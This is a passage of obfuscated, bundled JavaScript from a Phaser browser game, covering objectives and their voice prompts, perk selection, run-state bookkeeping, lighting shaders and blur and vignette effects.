_0x35e77b['mapMusic'] && this['store']['update']('sceneMusic', _0x35e77b['mapMusic']), _0x35e77b['isTutorial'] && this['store']['update']('isTutorial', !!_0x35e77b['isTutorial']), _0x35e77b['noVoiceAnnouncement'] && this['store']['update']('noVoiceAnnouncement', !!_0x35e77b['noVoiceAnnouncement']), this['gameMessageBus']['publish']('setHudVisibility', !_0x35e77b['noHud']), _0x35e77b['mapWelcomeMessage'] && this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('mapWelcomeMessage', _0x35e77b['mapWelcomeMessage']); }, 0x12c), _0x35e77b['mapSupplementaryMessage'] && this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('mapSupplementaryMessage', _0x35e77b['mapSupplementaryMessage']); }, 0x12c); } ['updateRunStateMapName']() { const _0x3ae1aa = { ...this['gameContext']['getFromGameStore']('runState') }, _0x231c34 = { ..._0x3ae1aa['levelStates'][_0x3ae1aa['currentLevelIndex']] }; _0x231c34['levelName'] = this['store']['get']('mapName'); const _0xb121a0 = [..._0x3ae1aa['levelStates']]; _0xb121a0[_0x3ae1aa['currentLevelIndex']] = _0x231c34, _0x3ae1aa['levelStates'] = _0xb121a0, this['gameContext']['updateGameStore']('runState', _0x3ae1aa, { 'forceUpdate': !0x0 }); } } _0x2fb658['MapComponent'] = _0x475ab0; }, 0xb07: (_0x36f1fe, _0x1502ed, _0x249f68) => { 'use strict'; Object['defineProperty'](_0x1502ed, '__esModule', { 'value': !0x0 }), _0x1502ed['ObjectiveSoundSceneComponent'] = void 0x0; const _0x48e3a1 = _0x249f68(0x1709), _0x17290d = { 'Generator\x201': 0x1, 'Generator\x202': 0x2, 'Generator\x203': 0x3 }; class _0x3ce46f extends _0x48e3a1['SceneComponent']{ ['knownObjectives'] = new Map();['lastDamagedGeneratorName'] = null;['init']() { this['gameMessageBus']['subscribe'](this, 'registerObjective', _0x2a76e3 => this['handleRegisterObjective'](_0x2a76e3)), this['gameMessageBus']['subscribe'](this, 'progressObjective', _0xfccb3d => this['handleProgressObjective'](_0xfccb3d)), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', _0x427652 => this['handleMainObjectiveFinished'](_0x427652)); } ['handleRegisterObjective'](_0x567b2a) { this['knownObjectives']['has'](_0x567b2a['name']) || (this['maybeSetupObjectiveSounds'](_0x567b2a), this['knownObjectives']['set'](_0x567b2a['name'], _0x567b2a['objective'])); } ['maybeSetupObjectiveSounds'](_0x5ae476) { !!this['store']['get']('noVoiceAnnouncement') || this['gameContext']['timeProvider']['delayAction'](() => { switch (_0x5ae476['name']) { case 'disableAllPortals': this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptDisableEnemyPortals', 'persistent': !0x0 } }); break; case 'completeAllWaves': if (this['knownObjectives']['has']('defendObjectives')) return; this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptDestroyAllEnemyWaves', 'persistent': !0x0 } }); break; case 'defendObjectives': this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptProtectTheGenerators', 'persistent': !0x0 } }); } }, 0x3e8); } ['handleProgressObjective'](_0x3462a9) { switch (_0x3462a9['name']) { case 'disableAllPortals': { const _0x59de5a = this['knownObjectives']['get']('disableAllPortals'), _0x3e5b91 = (_0x59de5a?.['completionPointsToCompleteObjective'] ?? 0x0) - (_0x59de5a?.['currentCompletionPoints'] ?? 0x0) - 0x1; this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptPortalDisabled', 'parameters': [{ 'name': 'Parameter\x201', 'value': _0x3e5b91 }] } }); break; } case 'defendObjectives': if (!this['lastDamagedGeneratorName']) return; this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptGeneratorDestroyed', 'parameters': [{ 'name': 'Parameter\x201', 'value': _0x17290d[this['lastDamagedGeneratorName']] }] } }); break; case 'Generator\x201': case 'Generator\x202': case 'Generator\x203': this['lastDamagedGeneratorName'] = _0x3462a9['name']; } } ['handleMainObjectiveFinished'](_0x296e18) { if ('completeAllWaves' === _0x296e18?.['name']) this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptAreaClear' } }); } } _0x1502ed['ObjectiveSoundSceneComponent'] = _0x3ce46f; }, 0x20f1: (_0x373fc5, _0x1079c4, _0x532966) => { 'use strict'; Object['defineProperty'](_0x1079c4, '__esModule', { 'value': !0x0 }), _0x1079c4['ObjectivesComponent'] = void 0x0; const _0x35a5de = _0x532966(0x1a95), _0x4c2fd8 = _0x532966(0x1709), _0x1f8731 = _0x532966(0x16d0); class _0x1edaeb extends _0x4c2fd8['SceneComponent']{ constructor(_0x5ca7d5) { super(_0x5ca7d5); } ['onCreate']() { this['store']['subscribe']('mapName', ({ oldValue: _0x4db077, newValue: _0x2e0b64 }) => this['gameMessageBus']['publish']('requestText', { 'text': _0x2e0b64, 'textAreaName': 'mapName', 'durationMS': 0xbb8 })), this['store']['subscribe']('mapSupplementaryMessage', ({ oldValue: _0x2f5d57, newValue: _0x7913f }) => this['gameMessageBus']['publish']('requestText', { 'text': _0x7913f, 'textAreaName': 'mapSupplementaryMessage', 'durationMS': 0xbb8 })), this['store']['update']('objectives', {}), this['gameMessageBus']['subscribe'](this, 'registerObjective', ({ name: _0x144ab6, objective: _0x2a9ce9 }) => this['registerObjective'](_0x144ab6, _0x2a9ce9)), this['gameMessageBus']['subscribe'](this, 'progressObjective', ({ name: _0x19a45a, completionPoints: _0x3ebe0a, setCompletionPoints: _0x214ad1 }) => this['progressObjective'](_0x19a45a, _0x3ebe0a, _0x214ad1)), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['onPlayerDead']()), this['setCurrentLevelFinishState'](!0x1); } ['onPlayerDead']() { this['gameMessageBus']['unsubscribeByOwner'](this); } ['registerObjective'](_0xe3483b, _0x2959cf) { const _0x195ae9 = this['store']['get']('objectives'), _0x557bc7 = _0x195ae9[_0xe3483b]; _0x557bc7 && (_0x557bc7['completionPointsToCompleteObjective'] += _0x2959cf['completionPointsToCompleteObjective']), this['store']['update']('objectives', { ..._0x195ae9, [_0xe3483b]: _0x557bc7 ?? _0x2959cf }), this['maybeSetupRunLevelState'](_0x2959cf); } ['progressObjective'](_0x8b6879, _0x414592, _0x4f4235) { const _0x118eec = this['store']['get']('objectives'), _0xc4536 = _0x118eec[_0x8b6879]; if (!_0xc4536) throw new Error('Objective\x20with\x20name\x20' + _0x8b6879 + '\x20not\x20found'); if (!_0xc4536['objectiveComplete']) { if (_0x4f4235) _0xc4536['currentCompletionPoints'] = _0x414592; else { const _0x29d4f8 = _0xc4536['initialObjectiveCompletionPoints'] > _0xc4536['completionPointsToCompleteObjective']; _0xc4536['currentCompletionPoints'] = _0x29d4f8 ? _0xc4536['currentCompletionPoints'] - _0x414592 : _0xc4536['currentCompletionPoints'] + _0x414592; } this['store']['update']('objectives', _0x118eec), this['maybeCompleteObjective'](_0x8b6879), this['maybeUpdateRunLevelState'](_0xc4536), this['maybeStoreObjectivesStatistics'](_0xc4536); } } ['maybeCompleteObjective'](_0x29b7b1) { const _0x29d897 = this['store']['get']('objectives'), _0x369bfe = _0x29d897[_0x29b7b1]; if (!_0x369bfe) throw new Error('Objective\x20with\x20name\x20' + _0x29b7b1 + '\x20not\x20found'); if (_0x369bfe['objectiveComplete']) return !0x1; let _0x314df8 = !0x1; const _0x52b717 = _0x369bfe['initialObjectiveCompletionPoints'] > _0x369bfe['completionPointsToCompleteObjective'], _0x3877c8 = !_0x52b717, _0x52ed36 = _0x369bfe['currentCompletionPoints'] <= _0x369bfe['completionPointsToCompleteObjective'], _0x40caf1 = _0x369bfe['currentCompletionPoints'] >= _0x369bfe['completionPointsToCompleteObjective']; return (_0x52b717 && _0x52ed36 || _0x3877c8 && _0x40caf1) && ((_0x29d897[_0x29b7b1]['isPrimaryObjective'] ?? !0x1) && this['gameContext']['timeProvider']['delayAction'](() => { this['handlePrimaryObjectiveFinished'](_0x29b7b1, _0x29d897[_0x29b7b1]); }, 0x1f4), _0x29d897[_0x29b7b1]['objectiveComplete'] = !0x0, this['store']['update']('objectives', _0x29d897, { 'forceUpdate': !0x0 }), _0x314df8 = !0x0), _0x314df8; } ['handlePrimaryObjectiveFinished'](_0xc9fff6, _0x41145f) { this['gameMessageBus']['publish']('mainObjectiveFinished', { 'name': _0xc9fff6, 'objective': _0x41145f }); const _0x346e91 = Object['values'](this['store']['get']('objectives'))['filter'](_0x5a12f8 => _0x5a12f8['isSecondaryObjective']); let _0x24e2fd = this['assembleMessage'](_0x41145f['objectiveCompleteMessage'], _0x41145f) + '\x0a'; _0x346e91['filter'](_0x456361 => _0x456361['objectiveStatusMessage'])['forEach'](_0x4f60a8 => { _0x24e2fd += this['assembleMessage'](_0x4f60a8['objectiveStatusMessage'], _0x4f60a8) + '\x0a'; }), _0x24e2fd += 'TIME:\x20' + (0x0, _0x1f8731['formatTime'])(this['gameContext']['timeProvider']['currentEngineTime']), this['gameMessageBus']['publish']('requestText', { 'text': _0x24e2fd, 'textAreaName': this['config']['objectiveTextAreaName'] }), this['setCurrentLevelFinishState'](!0x0); } ['assembleMessage'](_0x47719f, _0x726589) { let _0x438959 = _0x47719f; return _0x438959 = _0x438959['replace']('{amountCompleted}', _0x726589['currentCompletionPoints']['toString']()), _0x438959 = _0x438959['replace']('{amountLeft}', (_0x726589['completionPointsToCompleteObjective'] - _0x726589['currentCompletionPoints'])['toString']()), _0x438959 = _0x438959['replace']('{amountTotal}', _0x726589['completionPointsToCompleteObjective']['toString']()), _0x438959; } ['maybeSetupRunLevelState'](_0x440ca1) { if (!_0x440ca1['runSummaryTarget']) return; if (!_0x440ca1['runSummaryTarget']['initialValue']) return; const _0x1ad0a4 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x4842a4 = { ..._0x1ad0a4['levelStates'][_0x1ad0a4['currentLevelIndex']] }; let _0x4e74af = _0x4842a4[_0x440ca1?.['runSummaryTarget']?.['name']]; if (void 0x0 === _0x4e74af) throw new Error('Run\x20state\x20value\x20for\x20objective\x20' + _0x440ca1['runSummaryTarget']['name'] + '\x20not\x20found'); if (!('number' == typeof _0x4e74af)) throw new Error('Run\x20state\x20value\x20for\x20objective\x20' + _0x440ca1['runSummaryTarget']['name'] + '\x20is\x20not\x20a\x20number'); _0x4e74af += _0x440ca1['runSummaryTarget']['initialValue'], _0x4842a4[_0x440ca1['runSummaryTarget']['name']] = _0x4e74af, _0x1ad0a4['levelStates'][_0x1ad0a4['currentLevelIndex']] = _0x4842a4, this['gameContext']['updateGameStore']('runState', _0x1ad0a4); } ['maybeUpdateRunLevelState'](_0x40f6f7) { if (!_0x40f6f7['runSummaryTarget']) return; const _0x1aaca5 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x15dd1e = { ..._0x1aaca5['levelStates'][_0x1aaca5['currentLevelIndex']] }; let _0x9cb4a = _0x15dd1e[_0x40f6f7?.['runSummaryTarget']?.['name']]; if (void 0x0 === _0x9cb4a) throw new Error('Run\x20state\x20value\x20for\x20objective\x20' + _0x40f6f7['runSummaryTarget']['name'] + '\x20not\x20found'); if (!('number' == typeof _0x9cb4a)) throw new Error('Run\x20state\x20value\x20for\x20objective\x20' + _0x40f6f7['runSummaryTarget']['name'] + '\x20is\x20not\x20a\x20number'); _0x9cb4a += _0x40f6f7['runSummaryTarget']['value'], _0x15dd1e[_0x40f6f7['runSummaryTarget']['name']] = _0x9cb4a, _0x1aaca5['levelStates'][_0x1aaca5['currentLevelIndex']] = _0x15dd1e, this['gameContext']['updateGameStore']('runState', _0x1aaca5); } ['setCurrentLevelFinishState'](_0x3e41f8) { const _0x1a201c = { ...this['gameContext']['getFromGameStore']('runState') }, _0x5f1d2c = { ..._0x1a201c['levelStates'][_0x1a201c['currentLevelIndex']] }; _0x5f1d2c['finished'] = _0x3e41f8, _0x1a201c['levelStates'][_0x1a201c['currentLevelIndex']] = _0x5f1d2c, this['gameContext']['updateGameStore']('runState', _0x1a201c); } ['maybeStoreObjectivesStatistics'](_0xb86ff4) { _0xb86ff4['isPrimaryObjective'] && this['gameMessageBus']['publish']('addGameStatisticsEvent', { 'type': _0x35a5de['EGameStatisticsEventType']['OBJECTIVE_PROGRESSED'], 'data': { 'currentCompletionPoints': _0xb86ff4['currentCompletionPoints'], 'maxCompletionPoints': _0xb86ff4['completionPointsToCompleteObjective'], 'objectiveName': _0xb86ff4['objectiveDescriptionMessage'] } }); } } _0x1079c4['ObjectivesComponent'] = _0x1edaeb; }, 0xd2c: function (_0xd81cdd, _0x20d7fc, _0x32bd59) { 'use strict'; var _0x3c6540 = this && this['__createBinding'] || (Object['create'] ? function (_0x2233cb, _0x24d0da, _0x50b766, _0x4829b1) { void 0x0 === _0x4829b1 && (_0x4829b1 = _0x50b766); var _0x1fcb9b = Object['getOwnPropertyDescriptor'](_0x24d0da, _0x50b766); _0x1fcb9b && !('get' in _0x1fcb9b ? !_0x24d0da['__esModule'] : _0x1fcb9b['writable'] || _0x1fcb9b['configurable']) || (_0x1fcb9b = { 'enumerable': !0x0, 'get': function () { return _0x24d0da[_0x50b766]; } }), Object['defineProperty'](_0x2233cb, _0x4829b1, _0x1fcb9b); } : function (_0x49e31d, _0x2261a8, _0x1f6835, _0x24b112) { void 0x0 === _0x24b112 && (_0x24b112 = _0x1f6835), _0x49e31d[_0x24b112] = _0x2261a8[_0x1f6835]; }), _0x1fd69a = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x339885, _0x46bf85) { Object['defineProperty'](_0x339885, 'default', { 'enumerable': !0x0, 'value': _0x46bf85 }); } : function (_0x79d755, _0x40ae50) { _0x79d755['default'] = _0x40ae50; }), _0x50e901 = this && this['__importStar'] || function (_0x200dd8) { if (_0x200dd8 && _0x200dd8['__esModule']) return _0x200dd8; var _0x3ddb3c = {}; if (null != _0x200dd8) { for (var _0xa8a34a in _0x200dd8) 'default' !== _0xa8a34a && Object['prototype']['hasOwnProperty']['call'](_0x200dd8, _0xa8a34a) && _0x3c6540(_0x3ddb3c, _0x200dd8, _0xa8a34a); } return _0x1fd69a(_0x3ddb3c, _0x200dd8), _0x3ddb3c; }; Object['defineProperty'](_0x20d7fc, '__esModule', { 'value': !0x0 }), _0x20d7fc['GameStateModel'] = _0x20d7fc['TObjectiveConfig'] = void 0x0; const _0x17f5da = _0x50e901(_0x32bd59(0x22f3)); _0x20d7fc['TObjectiveConfig'] = _0x17f5da['partial']({ 'objectiveDescriptionMessage': _0x17f5da['string'], 'objectiveProgressMessage': _0x17f5da['string'], 'objectiveCompleteMessage': _0x17f5da['string'], 'objectiveStatusMessage': _0x17f5da['string'], 'showOnObjectiveList': _0x17f5da['boolean'], 'displayAsPercentage': _0x17f5da['boolean'], 'hideWhenCompleted': _0x17f5da['boolean'], 'isPrimaryObjective': _0x17f5da['boolean'], 'isSecondaryObjective': _0x17f5da['boolean'], 'completionPointsToCompleteObjective': _0x17f5da['number'], 'initialObjectiveCompletionPoints': _0x17f5da['number'], 'runSummaryTarget': _0x17f5da['intersection']([_0x17f5da['type']({ 'name': _0x17f5da['string'], 'value': _0x17f5da['number'] }), _0x17f5da['partial']({ 'initialValue': _0x17f5da['number'] })]) }), _0x20d7fc['GameStateModel'] = { 'objectives': {}, 'mapName': '[UNNAMED]', 'mapWelcomeMessage': 'VARIANCE\x20PRE-ALPHA\x200.34.30', 'mapSupplementaryMessage': '' }; }, 0xac8: (_0xfc6d22, _0x4a9e43, _0x37f5de) => { 'use strict'; Object['defineProperty'](_0x4a9e43, '__esModule', { 'value': !0x0 }), _0x4a9e43['PerksComponent'] = void 0x0; const _0x21373b = _0x37f5de(0x847), _0x1c3696 = _0x37f5de(0x1709), _0x504a9f = _0x37f5de(0x1ef9); class _0x2ff76c extends _0x1c3696['SceneComponent']{ constructor(_0xff2afd) { super(_0xff2afd); } ['init']() { this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['maybePreparePerkChoice']()), this['gameMessageBus']['subscribe'](this, 'actionStateChange', _0x9ca4f8 => this['onUserMakesPerkChoice'](_0x9ca4f8)), this['gameMessageBus']['subscribe'](this, 'actionStateUpdate', _0x212242 => this['onUserMakesServerChoice'](_0x212242)), this['maybeEmitPerkChoiceAction'](); } ['maybeEmitPerkChoiceAction']() { const _0x440920 = [...this['gameContext']['getFromGameStore']('runState')['pendingChoices']]['find'](_0x2286c => _0x2286c['type'] === _0x504a9f['PERK_CHOICE_TYPE'] && _0x2286c['selectedOptionId']); _0x440920 && _0x440920['selectedOptionId'] && this['config']['systemMessageBus']['publish']('actionStateChange', { 'action': 'choice', 'state': _0x440920['selectedOptionId'] }); } ['onUserMakesServerChoice'](_0x3796c9) { if (!_0x3796c9['choice']) return; const _0x3b1b12 = _0x3796c9['choice']; _0x3b1b12 && this['onUserMakesPerkChoice']({ 'action': 'choice', 'state': _0x3b1b12 }); } ['onUserMakesPerkChoice'](_0x17a92c) { if ('choice' !== _0x17a92c['action']) return; if (!_0x17a92c['state']) return; const _0xf10a37 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x43b79f = [..._0xf10a37['pendingChoices']], _0x29b184 = [..._0xf10a37['pickedChoices']], _0x495162 = _0x43b79f['find'](_0x2e37dd => _0x2e37dd['type'] === _0x504a9f['PERK_CHOICE_TYPE']); if (!_0x495162) return; const _0x2b6e92 = _0x495162['options']['find'](_0x37c084 => _0x37c084['id'] === _0x17a92c['state']); _0x2b6e92 && (_0x495162['selectedOptionId'] = _0x2b6e92['id'], _0x29b184['push'](_0x495162), _0x43b79f['splice'](_0x43b79f['indexOf'](_0x495162), 0x1), _0xf10a37['pendingChoices'] = _0x43b79f, _0xf10a37['pickedChoices'] = _0x29b184, this['gameContext']['updateGameStore']('runState', _0xf10a37, { 'forceUpdate': !0x0 }), this['gameMessageBus']['publish']('perkSelected')); } ['maybePreparePerkChoice']() { const _0x20b75a = { ...this['gameContext']['getFromGameStore']('runState') }; _0x20b75a['currentLevelIndex'] === _0x20b75a['levelSequence']['length'] - 0x1 || this['preparePerkChoice'](); } ['preparePerkChoice']() { const _0x496716 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x38a066 = [..._0x496716['pendingChoices']], _0x52f552 = this['getAvailablePerks'](), _0xa5102b = (0x0, _0x21373b['generateRandomChoice'])(this['gameContext']['rngProvider'], { 'choiceType': _0x504a9f['PERK_CHOICE_TYPE'], 'choicesToPickFrom': _0x52f552, 'amountOfChoices': Math['min'](_0x52f552['length'], 0x3) }); _0x38a066['push'](_0xa5102b), _0x496716['pendingChoices'] = _0x38a066, this['gameContext']['updateGameStore']('runState', _0x496716); } ['getAvailablePerks']() { const _0x219a3f = { ...this['gameContext']['getFromGameStore']('runState') }['pickedChoices'], _0x300a2a = this['gameContext']['getAllPerkConfigs']('ability'), _0x3f475c = _0x219a3f['filter'](_0x54eba3 => _0x54eba3['selectedOptionId'])['map'](_0x2fb35b => _0x2fb35b['selectedOptionId']); let _0x142add = _0x300a2a['filter'](_0x3b1d47 => 0x0 === _0x3b1d47['prerequisites']['length'] || _0x3b1d47['prerequisites']['every'](_0x163653 => _0x3f475c['includes'](_0x163653)))['filter'](_0x1590e1 => !_0x3f475c['includes'](_0x1590e1['id'])), _0x4c6f84 = _0x3f475c['map'](_0x14e14d => _0x300a2a['find'](_0x1ed314 => _0x1ed314['id'] === _0x14e14d && _0x1ed314['weaponName'])?.['groupId'])['filter'](_0x5179e2 => _0x5179e2); return _0x4c6f84 = _0x4c6f84['filter']((_0xcb4b7b, _0x215ade) => _0x4c6f84['indexOf'](_0xcb4b7b) === _0x215ade), (0x3 === _0x4c6f84['filter'](_0x505f7b => _0x505f7b)['length'] && (_0x142add = _0x142add['filter'](_0x287d95 => { const _0xc1f2a8 = _0x287d95['weaponName'] && _0x287d95['groupId']; return _0x4c6f84['includes'](_0xc1f2a8); })), _0x142add); } } _0x4a9e43['PerksComponent'] = _0x2ff76c; }, 0x20cd: (_0x211d61, _0x594659) => { 'use strict'; Object['defineProperty'](_0x594659, '__esModule', { 'value': !0x0 }), _0x594659['registerLight2DWithFlipPipeline'] = _0x594659['Light2DWithFlipPipeline'] = void 0x0; class _0x3b0038 extends Phaser['Renderer']['WebGL']['Pipelines']['LightPipeline']{ constructor(_0x45ad91) { super({ 'game': _0x45ad91, 'fragShader': '\x0a#define\x20SHADER_NAME\x20PHASER_LIGHT_FS\x0aprecision\x20mediump\x20float;\x0astruct\x20Light\x0a{\x0a\x20\x20\x20\x20vec2\x20position;\x0a\x20\x20\x20\x20vec3\x20color;\x0a\x20\x20\x20\x20float\x20intensity;\x0a\x20\x20\x20\x20float\x20radius;\x0a};\x0aconst\x20int\x20kMaxLights\x20=\x20%LIGHT_COUNT%;\x0auniform\x20vec4\x20uCamera;\x20/*\x20x,\x20y,\x20rotation,\x20zoom\x20*/\x0auniform\x20vec2\x20uResolution;\x0auniform\x20sampler2D\x20uMainSampler;\x0auniform\x20sampler2D\x20uNormSampler;\x0auniform\x20vec3\x20uAmbientLightColor;\x0auniform\x20Light\x20uLights[kMaxLights];\x0auniform\x20mat3\x20uInverseRotationMatrix;\x0auniform\x20int\x20uLightCount;\x0avarying\x20vec2\x20outTexCoord;\x0avarying\x20float\x20outTexId;\x0avarying\x20float\x20outTintEffect;\x0avarying\x20vec4\x20outTint;\x0avoid\x20main\x20()\x0a{\x0a\x20\x20\x20\x20vec3\x20finalColor\x20=\x20vec3(0.0,\x200.0,\x200.0);\x0a\x20\x20\x20\x20vec4\x20texel\x20=\x20vec4(outTint.bgr\x20*\x20outTint.a,\x20outTint.a);\x0a\x20\x20\x20\x20vec4\x20texture\x20=\x20texture2D(uMainSampler,\x20outTexCoord);\x0a\x20\x20\x20\x20vec4\x20color\x20=\x20texture\x20*\x20texel;\x0a\x20\x20\x20\x20if\x20(outTintEffect\x20==\x201.0)\x0a\x20\x20\x20\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20color.rgb\x20=\x20mix(texture.rgb,\x20outTint.bgr\x20*\x20outTint.a,\x20texture.a);\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20else\x20if\x20(outTintEffect\x20==\x202.0)\x0a\x20\x20\x20\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20color\x20=\x20texel;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20vec3\x20normalMap\x20=\x20texture2D(uNormSampler,\x20outTexCoord).rgb;\x0a\x20\x20\x20\x20normalMap.x\x20=\x20mix(normalMap.x,\x201.0\x20-\x20normalMap.x,\x201.0);\x0a\x20\x20\x20\x20vec3\x20normal\x20=\x20normalize(uInverseRotationMatrix\x20*\x20vec3(normalMap\x20*\x202.0\x20-\x201.0));\x0a\x20\x20\x20\x20vec2\x20res\x20=\x20vec2(min(uResolution.x,\x20uResolution.y))\x20*\x20uCamera.w;\x0a\x20\x20\x20\x20for\x20(int\x20index\x20=\x200;\x20index\x20<\x20kMaxLights;\x20++index)\x0a\x20\x20\x20\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(index\x20<\x20uLightCount)\x0a\x20\x20\x20\x20\x20\x20\x20\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Light\x20light\x20=\x20uLights[index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20lightDir\x20=\x20vec3((light.position.xy\x20/\x20res)\x20-\x20(gl_FragCoord.xy\x20/\x20res),\x200.1);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20lightNormal\x20=\x20normalize(lightDir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20distToSurf\x20=\x20length(lightDir)\x20*\x20uCamera.w;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20diffuseFactor\x20=\x20max(dot(normal,\x20lightNormal),\x200.0);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20radius\x20=\x20(light.radius\x20/\x20res.x\x20*\x20uCamera.w)\x20*\x20uCamera.w;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20float\x20attenuation\x20=\x20clamp(1.0\x20-\x20distToSurf\x20*\x20distToSurf\x20/\x20(radius\x20*\x20radius),\x200.0,\x201.0);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vec3\x20diffuse\x20=\x20light.color\x20*\x20diffuseFactor;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20finalColor\x20+=\x20(attenuation\x20*\x20diffuse)\x20*\x20light.intensity;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20vec4\x20colorOutput\x20=\x20vec4(uAmbientLightColor\x20+\x20finalColor,\x201.0);\x0a\x20\x20\x20\x20gl_FragColor\x20=\x20color\x20*\x20vec4(colorOutput.rgb\x20*\x20colorOutput.a,\x20colorOutput.a);\x0a}\x0a' }); } } _0x594659['Light2DWithFlipPipeline'] = _0x3b0038, _0x594659['registerLight2DWithFlipPipeline'] = function (_0x279ca6) { _0x279ca6['renderer']['pipelines']['add']('Light2DFlippedX', new _0x3b0038(_0x279ca6)); }; }, 0x519: (_0x143474, _0x3be727) => { 'use strict'; Object['defineProperty'](_0x3be727, '__esModule', { 'value': !0x0 }), _0x3be727['registerLight2DNoNormalsRotationPipeline'] = _0x3be727['Light2DNoNormalsRotationPipeline'] = void 0x0; class _0x542ac9 extends Phaser['Renderer']['WebGL']['Pipelines']['LightPipeline']{ constructor(_0x5f3d86) { super({ 'game': _0x5f3d86 }); } ['setNormalMapRotation'](_0x3049e6) { super['setNormalMapRotation'](0x0); } } _0x3be727['Light2DNoNormalsRotationPipeline'] = _0x542ac9, _0x3be727['registerLight2DNoNormalsRotationPipeline'] = function (_0x230e15) { _0x230e15['renderer']['pipelines']['add']('Light2DNoNormalsRotation', new _0x542ac9(_0x230e15)); }; }, 0x386: (_0x1a9c82, _0x48247e, _0x446b7c) => { 'use strict'; Object['defineProperty'](_0x48247e, '__esModule', { 'value': !0x0 }), _0x48247e['PostFXComponent'] = void 0x0; const _0x243a84 = _0x446b7c(0x1709), _0x17631c = _0x446b7c(0x7da), _0x4b337d = _0x446b7c(0x20cd), _0x53f1ca = _0x446b7c(0x519); class _0x3f77f7 extends _0x243a84['SceneComponent']{ ['pipeline'];['currentEffects'] = { 'blur': null };['onCreate']() { this['scene']['game']['renderer']['pipelines']['addPostPipeline']('Grayscale', _0x17631c['GrayscalePostFX']), this['gameContext']['getCamera']('main')['setPostPipeline'](_0x17631c['GrayscalePostFX']), this['pipeline'] = this['gameContext']['getCamera']('main')['getPostPipeline'](_0x17631c['GrayscalePostFX']), (0x0, _0x4b337d['registerLight2DWithFlipPipeline'])(this['scene']['game']), (0x0, _0x53f1ca['registerLight2DNoNormalsRotationPipeline'])(this['scene']['game']), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['initiateVignette']({ 'appearanceDurationMS': 0x7d0, 'targetValue': 1.3, 'easeFn': 'Quad.InOut' })), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['onMainObjectiveCompleted']()), this['gameMessageBus']['subscribe'](this, 'requestBlur', _0x4d88f1 => this['onRequestBlur'](_0x4d88f1)), this['gameMessageBus']['subscribe'](this, 'requestBlurCancel', _0x509692 => this['onRequestBlurCancel'](_0x509692)), this['gameMessageBus']['subscribe'](this, 'requestVignette', _0xed1175 => this['initiateVignette'](_0xed1175)); } ['destroy']() { this['gameContext']['getCamera']('main')?.['postFX']?.['clear'](); } ['onMainObjectiveCompleted']() { const _0x384e9e = this['gameContext']['getFromGameStore']('runState'); _0x384e9e['currentLevelIndex'] === _0x384e9e['levelSequence']['length'] - 0x1 && this['initiateVignette']({ 'appearanceDurationMS': 0x7d0, 'targetValue': 1.3, 'easeFn': 'Quad.InOut' }); } ['initiateVignette'](_0x1a9e2a) { this['currentEffects']['blur'] = this['gameContext']['getCamera']('main')['postFX']['addBlur'](0x0, 0x2, 0x2, 0x0); const _0x465eba = this['scene']['tweens']['add']({ 'targets': { 'value': 0x0 }, 'value': _0x1a9e2a['targetValue'] ?? 0x1, 'duration': _0x1a9e2a['appearanceDurationMS'] ?? 0x7d0, 'ease': _0x1a9e2a['easeFn'] ?? 'Linear', 'repeat': 0x0, 'yoyo': !0x1, 'onUpdate': _0x4f64e5 => { const _0x30624e = _0x4f64e5['getValue'](); this['currentEffects']['blur'] && (this['currentEffects']['blur']['strength'] = _0x30624e); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x465eba); } }), _0x3a362a = this['scene']['tweens']['add']({ 'targets': { 'value': 0x0 }, 'value': 1.3, 'duration': 0x7d0, 'ease': 'Linear', 'repeat': 0x0, 'yoyo': !0x1, 'onUpdate': _0x3bd58e => { const _0x4f9ae9 = _0x3bd58e['getValue'](); this['pipeline']['updateVignetteFactor'](_0x4f9ae9); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x3a362a); } }); } ['onRequestBlur'](_0xe06943) { const _0x31a3a8 = this['currentEffects']['blur']; _0x31a3a8 && (this['gameContext']['getCamera']('main')['postFX']['remove'](_0x31a3a8), _0x31a3a8['destroy'](), this['currentEffects']['blur'] = null), this['currentEffects']['blur'] = this['gameContext']['getCamera']('main')['postFX']['addBlur'](0x0, 0x2, 0x2, 0x0); const _0x12cc65 = this['scene']['tweens']['add']({ 'targets': { 'value': 0x0 }, 'value': 0x1, 'duration': _0xe06943['appearanceDurationMS'], 'ease': 'Linear', 'repeat': 0x0, 'yoyo': !0x1, 'onUpdate': _0x6767a2 => { const _0x2e0324 = _0x6767a2['getValue'](); this['currentEffects']['blur'] && 